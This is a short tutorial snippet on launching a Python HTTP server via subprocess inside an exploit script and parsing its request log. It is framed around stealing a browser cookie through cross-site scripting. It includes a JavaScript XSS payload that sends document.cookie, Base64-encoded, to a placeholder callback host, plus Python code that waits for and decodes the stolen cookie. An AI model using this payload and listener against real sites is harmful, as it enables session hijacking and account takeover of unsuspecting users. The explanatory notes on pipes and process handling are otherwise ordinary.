HTTP Server via Subprocess
Start an HTTP server and capture its request log
subprocess.Popen() starts python3 -m http.server as a separate operating-system process and immediately returns a process handle. The exploit continues while the server hosts files and records inbound requests.
import atexit
import os
import subprocess
import sys
import time
def start_http_server(port):
try:
python_server_command = f"exec python3 -m http.server {port}"
python_http_server_process = subprocess.Popen(python_server_command, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True, shell=True)
atexit.register(python_http_server_process.terminate)
time.sleep(1)
if python_http_server_process.poll() is not None:
server_error = python_http_server_process.stderr.read()
print(f"[-] Local HTTP server failed:\n{server_error}")
sys.exit(1)
os.set_blocking(python_http_server_process.stderr.fileno(), False)
print(f"[+] Local HTTP server started on port {port}")
except Exception as e:
print(f"[-] Could not start local HTTP server: {e}")
sys.exit(1)
return python_http_server_processpython3 -m http.server writes its request log to standard error, so stderr=subprocess.PIPE retains request paths for later parsing. stdout=subprocess.DEVNULL discards normal process output.
try/except catches errors raised while Python starts the child process. The HTTP server binds its port inside that child after Popen() returns, so a bind failure cannot raise an exception in the parent process. poll() returns None while the child is running and its exit code after it stops, allowing the startup check to detect the failure and read the reason from stderr.
os.set_blocking(..., False) allows stderr.read() to return the request logs currently available in the pipe while the server keeps running. A blocking read() with no size waits for the pipe to close, which happens when the server exits.
atexit.register(process.terminate) schedules the server cleanup when the Python interpreter exits, similarly to Go’s defer functionality.
The shell builtin exec replaces the intermediate shell with the HTTP server while retaining the same process identifier. The returned Popen handle therefore controls the server process itself.
Parse a cookie from an XSS callback
The returned process handle provides access to the server’s request log. The following function waits for a callback parameter, URL-decodes it, Base64-decodes it, and returns the captured cookie string.
fetch("http://<CALLBACK_HOST>:<PORT>/?cookie=" + encodeURIComponent(btoa(document.cookie)))import base64
import time
from urllib.parse import unquote
def get_cookie(python_http_server_process):
while True:
python_http_server_output_string = python_http_server_process.stderr.read()
if not python_http_server_output_string:
time.sleep(2)
continue
python_http_server_output_list = python_http_server_output_string.split("\n")
for line in python_http_server_output_list:
if "cookie=" in line:
cookie_url_encoded_base64_encoded = line.split("cookie=")[1].split(" ")[0]
cookie_base64_encoded = unquote(cookie_url_encoded_base64_encoded)
cookie = base64.b64decode(cookie_base64_encoded).decode()
return cookie
python_http_server_process = start_http_server(8000)
cookie = get_cookie(python_http_server_process)
print(f"[+] Cookie obtained: {cookie}")The loop sleeps only when the latest nonblocking read contains no new request log.
Find by: http server subprocess, python http server, popen, capture stderr, request log, nonblocking pipe, poll, os set blocking, atexit, xss callback, cookie exfiltration, base64 cookie